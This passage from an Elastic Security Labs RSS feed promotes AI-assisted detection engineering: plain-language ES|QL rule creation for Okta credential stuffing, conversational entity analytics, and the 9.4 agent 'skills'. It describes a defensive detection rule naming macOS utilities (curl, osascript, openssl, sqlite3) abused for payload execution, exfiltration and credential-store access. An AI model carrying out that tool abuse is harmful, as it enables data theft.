<p><em>Entity analytics is available in Elastic Security.</em><a href="https://www.elastic.co/fr/docs/solutions/security/advanced-entity-analytics/entity-store"> <em>Learn more about advanced entity analytics and how the entity store governs user entities.</em></a></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/ueba-entity-record-quality-analytics/header.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[From plain English to production rule: AI-native Elasticsearch ES|QL detection in Elastic Security]]></title>
            <link>https://www.elastic.co/fr/security-labs/ai-esql-detection-rule-creation</link>
            <guid>ai-esql-detection-rule-creation</guid>
            <pubDate>Mon, 04 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security now lets analysts describe a threat behavior in plain language and receive a complete, validated Elasticsearch ES|QL detection rule in return, no query expertise required.]]></description>
            <content:encoded><![CDATA[<p>Elastic Security now includes AI-powered detection rule creation, built into the rule creation workflow. Analysts describe a threat behavior in plain English and receive a complete, validated Elasticsearch Query Language (ES|QL) rule in return, with MITRE ATT&amp;CK mappings, severity recommendations, and a preview against live data, all without leaving the platform or writing a single line of query syntax. This post walks through exactly how that works using an Okta credential stuffing and account takeover scenario as the example.</p>
<h2>Why detection engineering needs AI-native tooling</h2>
<p>The threat landscape has changed. Attackers are increasingly using AI to automate and scale their operations: generating <a href="https://hoxhunt.com/guide/phishing-trends-report">phishing campaigns at volume</a>, accelerating <a href="https://www.rapid7.com/blog/post/tr-accelerating-attack-cycle-2026-global-threat-landscape-report/">vulnerability research and exploitation</a>, and launching credential attacks that would have required significant manual effort just a few years ago. The result is a faster, higher-volume threat environment where the window between a new attack pattern emerging and it hitting your environment is narrowing.</p>
<p>Detection engineering teams are on the other side of that equation. The expectation is that coverage keeps pace with the threat, but the tooling available to write, test, and deploy rules hasn’t historically matched the speed at which new attack patterns appear. Writing an effective detection rule from scratch requires deep familiarity with the query language, the field schema, and the aggregation logic needed to express the behavior you are trying to catch, before you even begin thinking about the threat itself. For most security teams, that friction means a growing backlog and gaps in coverage that attackers can exploit.</p>
<p>Arming detection engineers with native, AI-powered tooling isn’t just about convenience; it’s also about keeping pace with an adversary that’s already using AI to move faster. Elastic Security is now adding AI rule creation, powered by the <a href="https://www.elastic.co/fr/docs/explore-analyze/ai-features/elastic-agent-builder">Elastic Agent Builder</a>. Unlike external AI tooling or stand-alone code generation workflows, this capability is built into the detection engineering experience: The rule is created and validated, with results preview generated entirely within your platform, against your own data, without leaving Elastic Security. Analysts can now describe what they want to detect in natural language and receive a complete, ready-to-review ES|QL rule in return, without leaving the rule creation workflow. This capability is available at the Enterprise license tier.</p>
<p>Support for ES|QL rule creation is available now. Additional rule types are on the roadmap, so keep an eye on upcoming releases as these capabilities expand.</p>
<h2>Detections without the heavy lifting</h2>
<p><a href="https://www.elastic.co/fr/guide/en/elasticsearch/reference/current/esql-language.html">ES|QL</a>, Elastic's pipeline query language, is very helpful for behavioral and aggregation-based detections. Its pipe-based syntax makes it natural to express the kind of &quot;filter, count, group by, threshold&quot; logic that underlies most modern detections: How many failed logins came from this IP? Which accounts were targeted? Does this count exceed the expected baseline?</p>
<p>That same expressiveness is also what makes ES|QL harder to write by hand than a simple field-match query. You need to think in terms of pipelines: Filter first with <code>WHERE</code>, aggregate with <code>STATS...BY</code> , and then filter again on the computed values. It requires knowing the right Elastic Common Schema (ECS) field names, the correct function syntax, and how the pipeline stages interact. This is exactly the kind of structured, pattern-based logic that AI can translate reliably from a plain English description.</p>
<p>With the new detection engineering <a href="https://www.elastic.co/fr/security-labs/skills-elastic-security-9-4">skills</a> and the knowledge of Elastic documentation, ECS field definitions, and local data access, the <a href="https://www.elastic.co/fr/docs/explore-analyze/ai-features/agent-builder/builtin-agents-reference">Elastic AI Agent </a>uses detection engineering best practices to come up with the rule, and moreover, the generated rule query is validated before it’s returned: What you see in the editor will run.</p>
<h2>Walkthrough: Detecting Okta credential stuffing and account takeover</h2>
<p>A credential stuffing attack that succeeds in breaching an account doesn’t stop at the login. The full attack chain (multifactor authentication [MFA] bypass, session establishment, privilege escalation, and policy modification) leaves a distinct footprint across Okta system logs if you know what to correlate. This is exactly the kind of multistage behavioral pattern that ES|QL handles well: Collect all the relevant event types, classify each one, aggregate by the shared identity attributes, and then apply threshold logic that requires the full sequence to be present before alerting.</p>
<p>Writing that query manually means knowing the Okta-specific <a href="https://developer.okta.com/docs/reference/api/event-types/">event action names</a>, knowing how to use <code>EVAL</code> with <code>CASE</code> to create per-event type flags, and how to then aggregate those flags with <code>SUM</code> to count each stage independently. It’s a realistic but nontrivial query, exactly the kind that benefits most from AI generation.</p>
<p>Imagine your team has<a href="https://www.elastic.co/fr/docs/reference/integrations/okta"> an Okta integration</a> and logs are coming in. Threat intelligence has flagged an active campaign targeting Okta tenants: automated credential stuffing followed by MFA fatigue and post-compromise privilege changes. You need detection coverage today. </p>
<p>Note: We’re skipping the step of checking whether prebuilt detection rules exist or are already enabled, for the simplicity of the scenario here.</p>
<h3>Opening the AI Agent rule creation flow</h3>
<p>From the Elastic Security sidebar, navigate to <strong>Detection rules</strong> and click <strong>Create a rule -&gt; AI rule creation</strong>. </p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/rule-creation.png" alt="New AI rule creation option" title="A screenshot of the Elastic Security detection rules page showing options to create a rule, including AI rule creation and manual rule creation, along with navigation tabs for installed rules, rule monitoring, and rule updates." /></p>
<h3>Describing the detection in plain language</h3>
<p>No special syntax is required. Describe the full attack chain the way you would explain it to a colleague, including the data source and the specific event sequence you want to match:</p>
<p>Analyst prompt:</p>
<p><code>In Okta, detect when the same user and source IP shows: three or more failed logins due to bad credentials, at least one MFA failure, then a successful login, and then either a privilege grant or a policy update. That full sequence together is a credential stuffing attack that succeeded.</code></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/threat-agent.png" alt="AI Agent panel open with the rule creation prompt." title="A screenshot of Elastic Security showing installed Okta credential‑stuffing detection rules on the left and a Threat Hunting Agent chat panel on the right with a prompt describing the sequence of events that should trigger a credential‑stuffing detection rule." /></p>
<p>The AI Agent processes this against its knowledge base, including Okta integration field mappings and ECS conventions, and executes multiple steps that we can follow and review:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/rule-reasoning.png" alt="AI Agent panel open showing the agent reasoning steps." title="A screenshot of Elastic Security showing a list of Okta credential‑stuffing detection rules on the left and a detailed reasoning panel on the right that outlines the steps taken by an AI agent to generate an ES|QL detection rule, including reading files, generating the query, creating the rule name and description, and selecting tags." /></p>
<p>And then it returns a complete ES|QL rule that covers the full attack sequence described.</p>
<h3>Reviewing and adjusting the generated rule logic</h3>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/rule-panel.png" alt="Resulting rule in the AI Agent panel and button to apply." title="A screenshot of an Elastic Security panel showing the completed ES|QL detection rule for an Okta credential‑stuffing attack, including the rule description, detection logic, tags, severity, risk score, interval, and lookback time, with a button to apply the rule." /></p>
<p>There’s a lot happening in this rule’s query, and it’s worth understanding each stage, because the structure itself tells the story of the attack chain.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/query-preview.png" alt="Expanded generated ES|QL rule query preview." title="A screenshot showing an expanded ES|QL query preview for an Okta credential‑stuffing detection rule, displaying the full query with counts for failed logins, MFA failures, successful logins, and post‑compromise events, along with the final filtered and kept fields." /></p>
<p>The query is concise by design: It uses ES|QL's inline <code>WHERE</code> filtering inside <code>COUNT()</code> to compute each stage of the attack chain in a single <code>STATS</code> pass, without needing a separate <code>EVAL</code> block. Here’s what each part does:</p>
<p><code>FROM logs-okta*</code> scopes the query to all Okta log indices, using a wildcard that picks up <code>logs-okta.system-*</code> and any other Okta data streams in the environment.</p>
<p>The <code>STATS</code> block is the core of the detection. It aggregates all Okta activity and computes four counters per unique combination of <code>user.name</code> and <code>source.ip</code>, one for each stage of the attack chain. <code>failed_logins</code> counts <code>user.session.start</code> events with <code>outcome: failure</code> (the password spray attempts). <code>mfa_failures</code>counts failed MFA challenges, indicating the attacker encountered a second factor and attempted to push through it.</p>
<p><code>successful_logins</code> counts <code>user.session.start</code> events with <code>outcome: success</code>; a value of one or more means the attacker got in. <code>post_compromise_events</code> counts any of six actions that indicate the attacker is acting on their objective after login: adding the account to a group, granting application access, escalating privileges, modifying a policy lifecycle, updating a policy rule, or changing the account profile. This is a broad net that covers the full range of post-compromise behavior seen in Okta account takeover incidents.</p>
<p>The <code>WHERE</code> clause after the aggregation requires all four conditions to be true simultaneously before a row becomes an alert. This is what makes the rule high-fidelity. A user who forgot their password and eventually logged in won’t match because they’ll have no post-compromise events. An attacker who got through but took no further action won’t match either. All four stages must be present.</p>
<p>The <code>KEEP</code> statement trims the output to the six fields that matter for triage (the targeted account, the source IP, and the count for each stage), giving the responding analyst everything they need to start an investigation without querying the raw logs first.</p>
<p>Along with the query, the AI Agent generates the following rule metadata: rule name, description, severity and risk score recommendations, MITRE ATT&amp;CK technique and tactic mapping (T1110.004 Credential Stuffing, T1078 Valid Accounts, ), execution schedule, and tags. Where other rules exist, the AI Agent also reuses relevant tags from those rules, so new custom rules stay consistent with your existing detection library from the start. The data source is selected from indexes available in the system, or data ingestion is suggested. The rule fields are editable with an AI Agent before or after filling the resulting rule information in the rule creation form.</p>
<p><strong>Tip:</strong> You can also ask the AI Agent to explain an existing rule query, suggest threshold adjustments based on a description of your environment, or help troubleshoot unexpected results.</p>
<p>Let’s keep working on the rule to adjust a few things. We want to ensure the rule detects credential stuffing and not other failure reasons, like expired passwords or locked accounts. We want to ensure the attack sequence is preserved.</p>
<p>Using AI Agent, we’ll ask it to fix these few things. It comes back with the adjusted query and summarizes what it did.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/logic-refinement.png" alt="AI Agent panel with additional refinement prompt and results." title="A screenshot of an Elastic Security rule editor showing an ES|QL rule definition on the left and an AI Agent panel on the right that provides additional refinement guidance for credential‑stuffing detection logic, including explanations of filtering failed logins and improving event specificity." /></p>
<p>We now apply the changes to the rule form from the AI Agent chat:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/rule-changes.png" alt="AI Agent panel with summary of suggested rule changes." title="A screenshot of an AI Agent panel summarizing suggested updates to an Okta credential‑stuffing detection rule, including filters for invalid‑credential failures and a four‑stage ordered sequence for failure, MFA failure, successful login, and post‑compromise activity." /></p>
<h3>Previewing and enabling the rule</h3>
<p>Before enabling, use the Preview rule results panel to run the query against recent data in your environment. Any existing matches will surface immediately, running against your actual Okta log data in your Elastic deployment (no sample data, no sandbox, no external validation step required), useful both for validating that the query logic is correct and for checking whether an attack may already be in progress in your Okta tenant.</p>
<p>In this example, we’ve added sample logs to get a single alert generated:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/rule-preview.png" alt="Rule editing view with Preview results, along with open AI Agent panel." title="A screenshot of an Elastic Security rule editing view showing an ES|QL query and preview results on the left, with an AI Agent panel on the right providing additional guidance for refining credential‑stuffing detection logic." /></p>
<p>Now, satisfied with the results, we’ll enable the rule. It will begin executing on its configured schedule and generate alerts for any user and source IP combination where the full attack sequence is observed within the query window.</p>
<p>If we execute the rule manually for the past week to find any past attacks and check resulting alerts, we see the same alert we’ve gotten in the Rule Preview.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/rule-alerts.png" alt="Rule Alerts view." title="A screenshot of an Elastic Security rule alerts view showing an open alert for an Okta credential‑stuffing and account‑takeover rule, including a trend graph stacked by user name and a table listing the alert’s timestamp, rule name, severity, risk score, and reason." /></p>
<p><strong>Note:</strong> AI-generated rules should be reviewed before deployment in production environments. The AI Agent may not have full awareness of your specific data schema, log source quirks, or environment-specific baseline behavior. Use the rule preview to validate against your actual data before enabling. </p>
<h2>Impact on detection engineering workflows</h2>
<p>The walk-through above, from opening the rule creation form to having a validated, multistage, MITRE-mapped ES|QL rule covering the full Okta account takeover chain, takes a few minutes. Writing the same query manually would require knowing the Okta-specific event action names, the correct <code>okta.outcome.reason</code> field and its enumerated values, how to structure <code>EVAL</code> with <code>CASE</code> to produce per-stage flags, how to aggregate those flags with <code>SUM</code> rather than <code>COUNT</code>, and how to express a compound post-compromise condition using <code>OR</code> across two aggregated fields. For an analyst onboarding a new data source under time pressure, that’s a significant amount of context to hold simultaneously.</p>
<p>The AI Agent doesn’t replace detection expertise. The analyst still makes every meaningful decision: which event types constitute the attack chain, what thresholds make sense for their environment, and whether the preview results look correct. What changes is the time it takes to get from having threat knowledge to having a working rule. Engineers who understand the attack and can describe it iterate and get a production-quality query back quicker, rather than spending time on implementation mechanics.</p>
<p>This matters most at the moments when speed is most critical: when a new campaign is active, when a data source has just been onboarded, or when an existing rule needs rapid refinement because the threat has evolved. AI-powered attackers aren’t waiting for your rule backlog to clear. Detection engineering tooling shouldn’t require it either.</p>
<h2>What's next</h2>
<p>AI rule creation for ES|QL is the first step in a broader expansion of AI Agent-driven detection engineering in Elastic Security. ES|QL was the natural starting point given its aggregation-first pipeline structure, which maps cleanly to the behavioral descriptions analysts naturally provide. Support for additional rule types and additional quality of life rule creation steps and beyond is on the roadmap. Keep an eye on the<a href="https://www.elastic.co/fr/security-labs"> Elastic Security Labs</a> blog and release notes for updates as new capabilities become available.</p>
<p>For a broader look at how AI Agents are reshaping the detection engineering role, from threat modeling and telemetry tuning through to rule authoring and maintenance at scale, see<a href="https://www.elastic.co/fr/security-labs/supercharge-your-soc"> Supercharge Your SOC: Detection Engineering in the Era of AI Agents</a> on Elastic Security Labs. For a comprehensive overview of the full detection engineering toolset available in Elastic Security today, including prebuilt rules, alert suppression, MITRE ATT&amp;CK coverage, and Detections as Code, see<a href="https://www.elastic.co/fr/blog/elastic-security-detection-engineering"> Know your tools: The full range of Elastic Security's detection engineering capabilities</a>.</p>
<p>Try the new AI rule creation capability on your deployment, or<a href="https://www.elastic.co/fr/cloud/cloud-trial-overview/security"> start a free trial</a>. Connect with us on<a href="https://join.slack.com/t/elasticstack/shared_invite/zt-2sgssfr0n-NhTOlSwHbaGH85tYfx6kGg"> Elastic's community Slack</a> to share feedback or tell us what detection use cases you’re building and how we can help.</p>
<p><em>The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.</em></p>
<p><em>In this blog post, we may have used or referred to third-party generative AI tools, which are owned and operated by their respective owners. Elastic does not have any control over the third-party tools and we have no responsibility or liability for their content, operation or use, nor for any loss or damage that may arise from your use of such tools. Please exercise caution when using AI tools with personal, sensitive or confidential information. Any data you submit may be used for AI training or other purposes. There is no guarantee that information you provide will be kept secure or confidential. You should familiarize yourself with the privacy practices and terms of use of any generative AI tools prior to use.</em></p>
<p><em>Elastic, Elasticsearch, ESRE, Elasticsearch Relevance Engine and associated marks are trademarks, logos or registered trademarks of Elasticsearch N.V. in the United States and other countries. All other company and product names are trademarks, logos or registered trademarks of their respective owners.</em></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/cover.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Elastic Conversational Entity Analytics: threat hunting in a single conversation]]></title>
            <link>https://www.elastic.co/fr/security-labs/entity-analytics-agent-builder</link>
            <guid>entity-analytics-agent-builder</guid>
            <pubDate>Mon, 04 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Conversational Entity Analytics delivers Entity Analytics features as rich inline attachments and Canvas previews into Agent Builder, so you don’t have to leave the conversation.]]></description>
            <content:encoded><![CDATA[<p>Entity Analytics is a core security analytics capability that extends Elastic Security from event-centric to entity-centric investigation.</p>
<p>By focusing on critical entities, such as users, hosts, and services, it builds a complete profile of each entity’s attributes, lifecycle, behaviors, relationships, and risk score over time. This security context equips threat hunters to stop chasing isolated alerts and instead uncover the full narrative of a potential compromise. In this blog, we walk through Conversational Entity Analytics, the Agent Builder AI agent skill that delivers entity risk scores, profiles, dashboards in-line, and more, so the hunt stays in one place.</p>
<h2>Why Entity Analytics  matters for threat hunters</h2>
<p>Threat hunting in most SIEMs is a tab-juggling exercise. The hunter sees a risk score in one place, opens the host detail page in another, navigates to the dashboard for context, jumps to alerts to read the evidence, and then back to a notes app to write down what they found. Every pivot loses context. Every navigation costs minutes. And the hunts that matter most the subtle, cross-source ones) are the hardest to phrase as a query in the first place.</p>
<p>Conversational Entity Analytics collapses that loop. The hunter can start with a question in the Agent Builder chat or ask a question after clicking on an entity in the Kibana UI, and the answer is delivered into the conversation as rich inline attachments and Canvas previews. The hunt becomes interactive with an AI agent acting as a defender and guiding each step of the way.</p>
<h2>What Conversational Entity Analytics is</h2>
<p>Conversational Entity Analytics is the Entity Analytics AI Agent Skill in Elastic Agent Builder. It turns natural-language questions about users, hosts, and services into the same structured outputs the Entity Analytics Kibana UI produces ranked entity lists, full entity profiles, resolution groups, and the Entity Analytics Dashboard), rendered directly inside the conversation.</p>
<p>Two rendering modes do the heavy lifting: <strong>Rich inline attachments</strong> land the answer in chat as a live, structured artifact. <strong>Canvas previews</strong> open the corresponding Entity Analytics surface in a panel next to the conversation. The hunter never leaves the thread, and the underlying source of truth is always Entity Analytics in Kibana.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/entity-analytics-agent-builder/rendering-modes.png" alt="" /></p>
<p>Two rendering modes, one conversation:</p>
<ul>
<li>
<p><strong>Rich inline attachments:</strong> Structured cards that appear in line with the skill's reply, such as ranked entity tables, entity profile cards with risk-score breakdowns, and dashboard cards. Every attachment carries an &quot;Attachment added&quot; marker so the hunter knows it will persist with the thread.</p>
</li>
<li>
<p><strong>Canvas previews:</strong> A Preview action on any attachment opens the full Entity Analytics Kibana UI surface in a Canvas pane beside the chat.</p>
</li>
</ul>
<h2>1. Start the hunt in chat. Or in the Kibana UI. Or in both.</h2>
<p>Entity Analytics provides an out-of-the-box experience on what the riskiest entities are in your environment through our pre-generated AI-Hunting Leads and entities list by risk score. However, if a hunter has a specific question in mind and wants to ask it directly, the hunter can open the Elastic Agent Builder and ask:</p>
<p><strong>Prompt:</strong> What are the top 5 riskiest hosts in my environment?</p>
<p>The agent loads the entity-analytics skill, which is visible in the reasoning trace as: &quot;Now that the entity-analytics skill is loaded, I'll search for the top 10 riskiest hosts in the environment.&quot; Same Entity Store. Same risk score contract. Same answer the Kibana UI would return, delivered as a conversation.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/entity-analytics-agent-builder/entity-analytics-skill.png" alt="" /></p>
<h2>2. The conversation follows the hunter into the UI</h2>
<p>When asked about a specific user, host, or service, the conversation opens a user interface within the chat and includes links to directly open the Kibana UI for entity flyouts.</p>
<p>The hunters get to the same page they would have reached by navigating manually, and with Conversational Entity Analytics, they can interact through the conversation.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/entity-analytics-agent-builder/hunters.png" alt="" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/entity-analytics-agent-builder/entity-analytics-dashboard.png" alt="" /></p>
<h2>The power to threat hunt in any way</h2>
<p>Every Entity Analytics AI Skill in the Chat-First Experience has a corresponding Kibana Entity Analytics UI surface it can hand off to, preview, or sit alongside. The hunter chooses the path: some hunts are best opened in chat, and others are best opened in the UI. Hunters can interact freely between both.</p>
<p><strong>What this means for the hunter:</strong>
Start with a question, a hypothesis, a dashboard, or a raw log. Move between chat and the Kibana UI at any point. The Entity Store, Risk Score contract, Unified Entity Resolution, AI Hunting Leads, Watchlists, and the Entity Analytics Dashboard are the same underneath — reached through whichever surface fits the moment.</p>
<p>In practice, Hunters spend less time navigating and more time analyzing. They get to the right entity in seconds, see the full risk-score breakdown and threat narrative inline, without losing the evidence on screen. The hunt accelerates, and the surface of what’s interactive expands.</p>
<p><a href="https://www.elastic.co/fr/docs/solutions/security/ai/agent-builder/skills-use-cases#entity-risk-investigation">Entity Analytics AI Skills</a> offer a conversational experience. Together with the Kibana UI, they give every hunter the power to hunt in any way.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/entity-analytics-agent-builder/cover.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[One agent, the right skills: Elastic Security 9.4 brings domain expertise on demand to every SOC workflow]]></title>
            <link>https://www.elastic.co/fr/security-labs/skills-elastic-security-9-4</link>
            <guid>skills-elastic-security-9-4</guid>
            <pubDate>Mon, 04 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security 9.4 introduces skills, modular AI capabilities that teach the Elastic AI Agent how to detect, investigate, and hunt like a specialist. This is how they work, and why they matter for the SOC.]]></description>
            <content:encoded><![CDATA[<p>Three things land on you at once: Attack Discovery correlated 12 alerts into a credential-harvesting campaign overnight, your team just onboarded a new fleet of macOS endpoints and needs detection rules for LOLBin abuse, and a risk score spike on a service account just crossed the critical threshold.</p>
<p>In most security operations centers (SOCs), that's three different people, three different workflows, and a morning spent context-switching. In Elastic Security 9.4, it's one conversation.</p>
<p>You open the Elastic AI Agent and start working. The agent doesn't try to handle everything with one giant prompt. Instead, it activates the right <strong>skill</strong> for each task, loading specialized instructions, selected tools, and domain context only when needed. Detection Rule Edit writes your Elasticsearch Query Language (ES|QL) rule. Alert Analysis triages the campaign. Threat Hunting chases the service account. Each skill focuses on one job. Together, they cover the full pipeline.</p>
<p>In this article, we'll walk through the architecture, what each skill does, and how they work together in real scenarios.</p>
<h2>The problem: AI assistants that know a little about everything</h2>
<p>Most AI assistants are monolithic. One system prompt tries to cover detection, investigation, response, entity analysis, and threat hunting all at once. This creates two problems that compound as capabilities grow.</p>
<p><strong>Context window dilution.</strong> Every instruction, every tool description, every example takes up tokens. When the prompt tries to cover every SOC workflow, the model has less room for the actual data it needs to reason about: your alerts, your entities, your logs. As you add more capabilities, the quality of each one degrades.</p>
<p><strong>Jack-of-all-trades performance.</strong> A prompt that covers everything handles nothing with depth. Ask it to write a detection rule, and it produces something generic. Ask it to investigate an entity, and it misses the nuance of the risk score composition. The model knows a little about many things but lacks the specialized knowledge that makes the output useful.</p>
<p>The industry response has been to build separate agents for separate tasks: a detection agent, a hunting agent, a triage agent. But that fragments the experience. Analysts have to know which agent to use, switch between them, and manually pass context from one to another. The AI becomes a tool-switching exercise rather than a productivity gain.</p>
<p>We needed an architecture that scales to dozens of capabilities without diluting any of them, and without forcing analysts to manage multiple agents.</p>
<h2>The solution: Skills</h2>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/skills-elastic-security-9-4/elastic-security-skills.png" alt="" /></p>
<p><em>Skills</em> are a well-established pattern in AI agent architecture, a way to give a generalist model specialized capabilities on demand. In our implementation, a skill is a package of three things: a system prompt tuned for a specific SOC workflow, a curated set of tools selected for the task, and referenced domain content. The concept isn't new. What's new is applying it to security operations with depth: Each skill encodes the reasoning patterns, query templates, and domain knowledge that experienced analysts use daily.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/skills-elastic-security-9-4/anatomy-elastic-security-skills.png" alt="" /></p>
<p>The architecture rests on three ideas.</p>
<p><strong>Each skill does one job well.</strong> The Threat Hunting skill knows how to formulate hypotheses, iterate on ES|QL queries, identify anomalies, and document findings. It doesn't know how to edit detection rules. That's not a limitation; it's the point. Because each skill focuses on a single intent, it can include richer instructions, better examples, and more precise tool configurations than a monolithic prompt ever could.</p>
<p><strong>Skills work together.</strong> When Alert Analysis encounters a high-risk entity, it references the <a href="https://www.elastic.co/fr/security-labs/entity-analytics-agent-builder">Entity Analytics skill</a> for deeper profiling. When Threat Hunting finds a suspicious binary, it can hand off to the detection pipeline. Multi-step investigations happen without requiring the analyst to orchestrate each handoff.</p>
<p><strong>Nothing loads until it's needed.</strong> Skills activate on demand, not all at once. The agent's context window stays lean as the total number of capabilities grows. You can add a new skill without degrading any existing one, because each operates in its own focused context.</p>
<p>At a glance, the following image shows a skill in action:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/skills-elastic-security-9-4/agent-reasoning-steps.png" alt="Agent reasoning steps loading in multiple skills based on the user’s request." /></p>
<h2>Five skills for the security operations pipeline</h2>
<p>Elastic Security 9.4 ships five skills that span the core SOC workflows: detection, triage, hunting, entity analysis, and anomaly investigation.</p>
<table>
<thead>
<tr>
<th>Skill</th>
<th>Domain</th>
<th>What it does</th>
<th>Example prompt</th>
</tr>
</thead>
<tbody>
<tr>
<td>Detection Rule Edit</td>
<td>Detection engineering</td>
<td>Creates and edits detection rules from natural language, maps to MITRE ATT&amp;CK, validates queries</td>
<td>Write a rule to detect DLL sideloading via unsigned DLLs loaded by signed binaries.</td>
</tr>
<tr>
<td>Alert Analysis</td>
<td>Alert triage</td>
<td>Triages alerts, finds related alerts by shared entities, enriches with threat intelligence and risk scores</td>
<td>Analyze alert 82a1f, is this related to the credential-harvesting campaign?</td>
</tr>
<tr>
<td>Threat Hunting</td>
<td>Proactive hunting</td>
<td>Runs hypothesis-driven hunts with iterative querying, embedded query templates for common tactics, techniques, and procedures (TTPs)</td>
<td>Hunt for lateral movement from the compromised host in the last 7 days.</td>
</tr>
<tr>
<td>Entity Analytics</td>
<td>Entity investigation</td>
<td>Profiles entities from the Entity Store: risk scores, behaviors, asset criticality, relationships</td>
<td>Show me the riskiest users this week and what's driving their scores.</td>
</tr>
<tr>
<td>Security ML Jobs</td>
<td>Anomaly investigation</td>
<td>Investigates anomalies from Security ML jobs, correlates with entity context</td>
<td>What anomalies are associated with svc-backup-prod?</td>
</tr>
</tbody>
</table>
<p>Three scenarios show how these skills work in practice.</p>
<h3>Scenario 1: Writing a detection rule for macOS LOLBin abuse</h3>
<p>Your team just onboarded a fleet of macOS endpoints. You have solid detection coverage for Windows living-off-the-land binaries but almost nothing for macOS equivalents. Attackers routinely abuse built-in macOS utilities, like <code>osascript</code>, <code>curl</code>, <code>openssl</code>, and <code>sqlite3</code>, to execute payloads, exfiltrate data, and access credential stores without triggering basic malware detection. You need rules for these, and you need them before the next red team exercise.</p>
<p>You open the Elastic AI Agent and type: <em>Create an ES|QL detection rule for macOS LOLBin abuse. Look for suspicious use of built-in macOS utilities, like osascript, curl, openssl, and sqlite3, being spawned by unexpected parent processes.</em></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/skills-elastic-security-9-4/siem-rule.png" alt="" /></p>
<p>The <a href="https://www.elastic.co/fr/security-labs/ai-esql-detection-rule-creation"><strong>Detection Rule Edit</strong></a> skill activates:</p>
<ul>
<li>
<p>The skill uses <code>platform.core.generate_esql</code>to draft an ES|QL query targeting <code>logs-endpoint.events.process-*</code>, filtering for known macOS LOLBins spawned by unusual parent processes (for example, <code>osascript</code> launched by a web browser, or <code>url</code> invoked by a shell script running from <code>/tmp</code>).</p>
</li>
<li>
<p>It maps the rule to MITRE ATT&amp;CK: <strong>T1059.002, AppleScript</strong>, and <strong>T1105, Ingress Tool Transfer</strong> under the Execution and Command and Control tactics.</p>
</li>
<li>
<p>The skill calls <code>security.security_labs_search</code> to check whether Elastic Security Labs has published research on macOS LOLBin techniques, pulling relevant context into the rule's investigation guide.</p>
</li>
<li>
<p>It generates the complete rule definition (name, description, severity, risk score, tags, MITRE mapping, schedule, and the validated ES|QL query) and presents it as an editable rule attachment in the conversation.</p>
</li>
</ul>
<p>You review the query, tune the parent-process allow list to exclude your IT team's legitimate automation scripts, and save. The rule is live. Total time: under five minutes.</p>
<p>Without the skill, this process means switching to the detection rules UI, manually writing ES|QL against the correct indices, researching which macOS utilities qualify as LOLBins, looking up the right MITRE technique IDs, and hoping you haven't missed an edge case. That's 30–60 minutes for an experienced detection engineer, longer for someone less familiar with the macOS process hierarchy.</p>
<h3>Scenario 2: Attack Discovery surfaces a campaign</h3>
<p>Overnight, Attack Discovery correlated 12 alerts across three hosts and two users into a single narrative: <em>Credential harvesting via browser credential store access and suspicious authentication patterns.</em> The discovery is sitting in your queue when you arrive.</p>
<p>You click into the agent and ask: <em>Analyze the credential-harvesting discovery. Are these alerts true positives? What's the blast radius?</em></p>
<p><strong>Alert Analysis</strong> goes first. It fetches the correlated alerts using <code>security.alerts</code>, pulling the full alert details: rule names, severities, MITRE techniques, affected entities. Then it uses its inline tool <code>security.alert-analysis.get-related-alerts</code> to find additional alerts sharing entities with the correlated set. It discovers four additional alerts involving the same user (j.martinez) from the past 48 hours, alerts that weren't part of the credential-harvesting campaign pattern but are relevant to the broader investigation of this user's activity. These are failed authentication attempts against a different service, suggesting the attacker is testing stolen credentials across systems.</p>
<p>Next, it queries <code>security.security_labs_search</code> to check whether the observed TTPs match known threat actor playbooks. It finds a match: The technique chain (credential store access → lateral authentication → service enumeration) aligns with a published Elastic Security Labs report on a commodity access broker toolkit.</p>
<p>Finally, it calls <code>security.entity_risk_score</code> to assess the involved entities. <code>j.martinez</code> has a risk score of 87 (critical), already elevated before this campaign due to prior anomalous VPN activity.</p>
<p>The triage is done: true positive, high confidence, expanding blast radius. But you want deeper entity context. What else has <code>j.martinez</code> been doing?</p>
<p>The <strong>Entity Analytics</strong> skill picks up. Using <code>security.get_entity</code>, it pulls the full entity profile: risk score history over 90 days, contributing risk inputs (the current campaign plus two prior anomaly detections), asset criticality (the account has admin access to three production databases), and behavioral patterns. The profile shows that `j.martinez's risk score has increased by 34 points in the last week, well above the significant-change threshold.</p>
<p>You now have the full picture: confirmed campaign, expanding scope, high-value target, and historical context. You ask the agent to create a case with all findings attached. It compiles alert evidence, entity profile, threat intel matches, and recommended containment actions into a single case.</p>
<h3>Scenario 3: An anomaly leads to a hunt</h3>
